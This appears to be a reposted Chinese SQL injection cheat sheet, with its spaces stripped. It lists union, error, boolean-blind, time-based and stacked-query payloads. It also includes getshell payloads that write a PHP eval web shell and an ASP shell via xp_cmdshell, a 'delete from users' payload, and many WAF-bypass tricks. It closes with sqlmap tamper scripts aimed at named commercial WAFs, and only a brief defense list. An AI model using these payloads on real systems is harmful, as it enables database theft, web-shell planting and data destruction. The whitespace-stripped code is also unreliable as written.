网络安全

0x01SQL注入原理当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。攻击者通过构造不同的sql语句来实现对数据库的任意操作。0x02SQL注入的分类按变量类型分:数字型和字符型按HTTP提交方式分:POST注入、GET注入和Cookie注入按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入按数据库类型分:sql:oracle、mysql、mssql、access、sqlite、postgersqlnosql:mongodb、redis0x03MySQL与MSSQL及ACCESS之间的区别1.MySQL5.0以下没有information_schema这个默认数据库2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select1,2,3from`table_name`unionselect1,2,3from`table_name`3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)0x04判断三种数据库的语句MySQL:andlength(user())>10ACCESS:and(selectcount(*)fromMSysAccessObjects)>0MSSQL:and(selectcount(*)fromsysobjects)>00x05基本手工注入流程1.判断注入点数字型:id=2-1字符型:'、')、'))、"、")、"))注释符:--(这是--空格)、--+、/**/、#2.获取字段数orderby二分法联合查询字段数,观察页面变化从而确定字段数orderby1orderby50groupby译为分组,注入时也可使用,不过我没用过3.查看显示位尝试使用联合注入利用and1=2或and0及id=-12查看显示数据的位置替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and1=2unionselectversion(),2,3再查询所有数据库and1=2unionselect(selectgroup_concat(schema_name)frominformationschema.schemata),2,3查询所有表名unionselect(selectgroup_concat(table_name)frominformation_schema.tables),2,3查询所有字段名unionselect(selectgroup_concat(column_name)frominformation_schema.columns),2,3查询字段内容如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起unionselect(selectgroup_concat(id,'~',uname)fromtest.users),2,30x06报错注入通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)select*fromtestwhereid=1and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)));select*fromtestwhereid=1and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1));相关连接:https://www.cnblogs.com/wocalieshenmegui/p/5917967.htmlPOST中的报错注入0x07布尔盲注我在盲注中常用的函数:1.char()解ASCII码2.mid()截取字符串举例:mid('hello',1,3),从第1位开始截取3位,输出位hel3.substr()与mid()相同,都为截取字符串4.count()计算查询结果的行数5.concat()查询结果合并但保持原有行数6.group_concat()查询结果合并但都放在一行中7.ascii()查询ascii码猜数据库长度(利用二分法)id=1and(length(database()))>1id=1and(length(database()))>50猜第一个字符,第二个字符,以此类推andascii(mid(database(),1,1))>1andascii(mid(database(),2,1))>1查询当前数据库中所有表名and(selectcount(table_name)frominformation_schema.tableswheretables_schema=database())>1and(selectcount(table_name)frominformation_schema.tableswheretables_schema=database())>10查询第一个表的长度and(selectlength(table_name)frominformation_schema.tableswheretables_schema=database()limit0,1)>10查询表的第一个字符andascii(mid((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>1查询atelier表里有几个字段and(selectcount(column_name)frominformation_schema.columnswheretable_name='atelier'andtable_schema=database())>2查询第一个字段长度andlength((selectcolumn_namefrominformation_schema.columnswheretable_name='atelier'andtable_schema=database()limit0,1))>1查询字段第一个字符andascii(mid((selectcolumn_namefrominformation_schema.columnswheretable_schema='db83231_asfaa'andTABLE_NAME='atelier'limit0,1),1,1))>105查询字段所有行数and(selectcount(*)fromdb83231_asfaa.atelier)>4查询字段名的行数(查询emails表,uname字段)and(selectcount(uname)fromsecurity.emails)>7查询uname的行数查询字段内容length((selectusernamefromsecurity.userslimit0,1))>10ascii(mid((selectusernamefromsecurity.userlimit0,1),1,1))>100将查询到的ASCII码放到mysql中查询举例:selectchar(39);0x08延时盲注利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:select*fromuserwhereid='1'orsleep(3)%23这个没什么好说的select*fromuserwhereid=1andif(length(version())>10,sleep(3),0);如果长度大于10,则睡3秒,其他则0秒select*fromuserwhereid=1andcaselength(version())>10when1thensleep(3)else0end;case定义条件,when后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。0x09多语句注入多语句意思就是可以执行多个语句,利用分号进行隔开示例:id=1";WAITFORDELAY'0:0:3';deletefromusers;--+id=1';selectif(length(user(),1,1)>1,sleep(3),1)%23';selectif(length((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1)>1,sleep(3),1)%230x10内联注入举例:id=-1/*!UNION*//*!SELECT*/1,2,3利用别名:unionselect1,2,3,4,a.id,b.id,*from(sys_adminasainnerjoinsys_adminasbona.id=b.id)0x11getshellid=-1'unionselect1,2,(select'<?php@eval($_POST[1]);?>'intooutfile'/var/www/html/404.php')--+也可使用dumpfile进行写入outfile和dumpfile的区别:outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。数据库写入:execmaster..xp_cmdshell'echo"<%eXECutegLobaLrEquEst(0)%>">"c:\www\upload\Files\2019-11\404.asp"'0x12宽字节注入当编码位gbk时,%df%27或%81%27数据为空就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入测试出来就可以使用sqlmap跑了,23333加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)宽字节防御:第10行代码必须和第24行必须同时使用,要么就更换编码格式0x13二次编码注入代码中有urldecode()函数%2527先解码成%27再解码成'单引号sqlmap-uhttp://192.168.100.141/index.php/author=123--prefix"%2527"--suffix"%23"-prefix为设置前缀-suffix为设置后缀设置后缀,防止sqlmap使用内联注使用自带的脚本进行注入chardoubleencode.py0x14图片上传sql注入猜结构,为时间戳加文件名替换andsleep(3)为*进行salmap0x15二次注入abc'数据经过addslashes过滤,单引号前面添加反斜杠abc\',但传到数据库的数据还是abc'假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。访问xxx.php?id=test'unionselect1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。0x16XFF头注入updateusersetloat_loginip='8.8.8.8'whereid=1andsleep(5)#'whereusername='zs';id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入X-Forward-For:127.0.0.1'select1,2,user()0x17User-Agent请求头注入0x18DNS外带日志示例外带平台:xip.ioceye.ioMSSQL查询当前数据库MySQL查询数据库版本0x19常用过WAF技巧1.特征字符大小写(基本没用)UnIoNSeLcT1,2,32.内联注释id=-1/*!UNION*/%20//*!SELECT*/%201,2,33.特殊字符代替空格%09tab键(水平)、%0a换行、%0c新的一页%0dreturn功能、%0btab键(垂直)、%a0空格4.等价函数和逻辑符号hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@version==>version()@@datadir==>datadir()逻辑符号:如and和or不能使用时,尝试&&和||双管道符。5.特殊符号反引号,select`version()`,绕过空格和正则加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤@符号,用于定义变量,一个@代表用户变量,@@代表系统变量6.关键字拆分'se'+'lec'+'t'%S%E%L%C%T1,2,3?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"netuser"')!和():'or--+2=--!!!'2id=1+(UnI)(oN)+(SeL)(EcT)7.加括号绕过小括号union(select+1,2,3+from+users)%23union(select(1),(2),(3)from(users))id=(1)or(0x50=0x50)id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))花括号select{xuser}from{xmysql.user}id=-1unionselect1,{x2},38.过滤and和or下的盲注id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23id=strcmp(left((select+username+from+limit+0,1),1,0x42)%239.白名单绕过拦截信息:GET/pen/news.php?id=1unionselectuser,passwordfrommysql.user绕过:GET/pen/news.php/admin?id=1unionselectuser,passwordfrommysql.userGET/pen/admin/..\news.php?id=1unionselectuser,passwordfrommysql.user10.HTTP参数控制(1)HPP(HTTPParmeterPolution)(重复参数污染)举例:index.php?id=1unionselectusername,passwordfromusersindex.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/usersHPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过(2)HPF(HTTPParmeterFragment)(HTTP分割注入)HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)举例:/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--select*fromtablewherea=1union/*andb=*/select1,pass/*limit*/fromusers—0x20SQL注入防御1.对用户输入的内容进行转义2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数4.添加WAF,防火墙等拓展阅读:sqlmapbypassD盾tamper#!/usr/bin/envpythonfromlib.core.enumsimportPRIORITY__priority__=PRIORITY.LOWdefdependencies():passdeftamper(payload,**kwargs):"""BYPASSDdun"""retVal=payloadifpayload:retVal=""quote,doublequote,firstspace=False,False,Falseforiinxrange(len(payload)):ifnotfirstspace:ifpayload[i].isspace():firstspace=TrueretVal+="/*DJSAWW%2B%26Lt%3B%2B*/"continueelifpayload[i]=='\'':quote=notquoteelifpayload[i]=='"':doublequote=notdoublequoteelifpayload[i]==""andnotdoublequoteandnotquote:retVal+="/*DJSAWW%2B%26Lt%3B%2B*/"continueretVal+=payload[i]returnretValsqlmapbypass云锁tamper#!/usr/bin/envpython"""Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)Seethefile'LICENSE'forcopyingpermission"""importrefromlib.core.dataimportkbfromlib.core.enumsimportPRIORITYfromlib.core.commonimportsingleTimeWarnMessagefromlib.core.enumsimportDBMS__priority__=PRIORITY.LOWdefdependencies():passdeftamper(payload,**kwargs):payload=payload.replace('ORDER','/*!00000order*/')payload=payload.replace('ALLSELECT','/*!00000all*//*!00000select')payload=payload.replace('CONCAT(',"CONCAT/**/(")payload=payload.replace("--","*/--")payload=payload.replace("AND","%26%26")returnpayload安全狗最新版Bypass|附sqlmaptamper脚本sqlmap_修改tamper脚本_绕过WAF并制作通杀0day转载自hack学习呀公众号

2019-11-13 2078 0